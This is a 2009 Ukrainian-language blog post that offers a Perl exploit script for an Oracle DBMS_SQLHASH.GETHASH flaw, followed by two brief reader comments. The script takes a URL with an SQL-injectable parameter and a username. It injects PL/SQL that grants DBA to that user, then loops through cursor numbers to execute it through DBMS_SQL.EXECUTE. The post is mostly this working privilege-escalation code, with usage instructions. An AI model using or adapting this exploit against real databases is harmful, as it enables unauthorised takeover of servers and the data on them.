Oracle DBMS_SQLHASH.GETHASH exploit (perl)

November 28th, 2009 dsu Leave a comment Go to comments

Написав нескладний exploit, що використовує уразливість в DBMS_SQLHASH.GETHASH. Exploit для роботи потребує sql ін’єкцію в pl / sql процедурі (зазвичай, на Oracle Application server, там і належать такі процедури по дефолту користувачеві з правами, яких нам достатньо). Загалом  можна запитати, навіщо нам exploit, якщо є ін’єкція? Я відповім, що часто в таких процедурах йде простий sql select / update / insert, а в них ми можемо використовувати  тільки простий sql. Даний exploit дозволяє виконати pl / sql, маючи при цьому тільки ін’єкцію у процедурі, яка виконує, скажімо, select і права тільки create_session.

Exploit працює за принципом:
1. Вставляє потрібний нам код.
2. Підбір номера курсору який бо дефолту йде = <300

Mirror: http://pastebin.org/58184

  1. #!/usr/bin/perl
  2. #Coded by dsu http://dsu.com.ua 2009
  3. #Vulnerability discovered by David Litchfield
  4.  
  5. use LWP::UserAgent;
  6. $ua = new LWP::UserAgent;
  7. $ua->agent("MSIE 8" . $ua->agent);
  8. my $url = $ARGV[0];    #url of injectable param
  9. my $user = $ARGV[1];   # account to grant dba
  10. my $curs = 300; #maximal cursor number allowed by default
  11. my $sql="DDD”||DBMS_SQLHASH.GETHASH(”DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ””GRANT DBA TO ".$user."””; COMMIT; END;”,1,1)||”DDDD";
  12. if (!$ARGV[0] or !$ARGV[0])
  13. {
  14. print "##########################################################################\r\n";
  15. print "#You need a create session privs and pl/sql procedure with sql-injection #\r\n";
  16. print "#Use: exp.pl http://example.org/e.cgi?param= scott                       #\r\n";
  17. print "##########################################################################\r\n";
  18. }
  19. $ex = $url."exploit".$sql;
  20. print "Inject pl/sql \r\n";
  21. my $res1 = $ua->get($ex);
  22. print "Try to execute cursor it take several time\r\n";
  23. for( $i=1; $i < $curs; $i++ )
  24. {
  25. my $res = $ua->get($url."tst”||(SELECT DBMS_SQL.EXECUTE(".$i.") FROM DUAL)||”tst");
  26. }
  27. print "executted";
  1. login999
    December 14th, 2009 at 22:46 | #1

    А у відповідь – тиша…
    Хоча це для тебе й не так печально, адже самий важливий помітив …^_0

  2. December 15th, 2009 at 01:04 | #2

    Так :)

  1. No trackbacks yet.